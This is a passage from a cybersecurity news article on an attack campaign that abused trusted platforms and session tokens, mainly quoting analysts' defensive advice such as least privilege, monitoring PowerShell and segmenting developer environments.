systems, and enterprise messaging platforms. In some cases, they may not need to steal passwords at all because session tokens or authenticated browser sessions are enough to bypass part of the security stack. While the campaign relied heavily on trusted platforms, organizations can still disrupt attacks at multiple points. Dhar noted the first thing to understand here is that not all cyberattacks necessarily require malicious software. Nowadays, more and more attackers try to persuade victims into performing actions by themselves. Hence, one solution might be limiting unnecessary administrative privileges, monitoring shell and PowerShell executions, and detecting any suspicious behaviour. Additionally, developer PCs might need to be monitored because of the high level of access they have. From a control standpoint, enterprises should restrict local admin rights and enforce least privilege on developer endpoints. They should also segment developer environments and separate high-risk browsing from privileged engineering workflows, where feasible, added Jaju. View the full article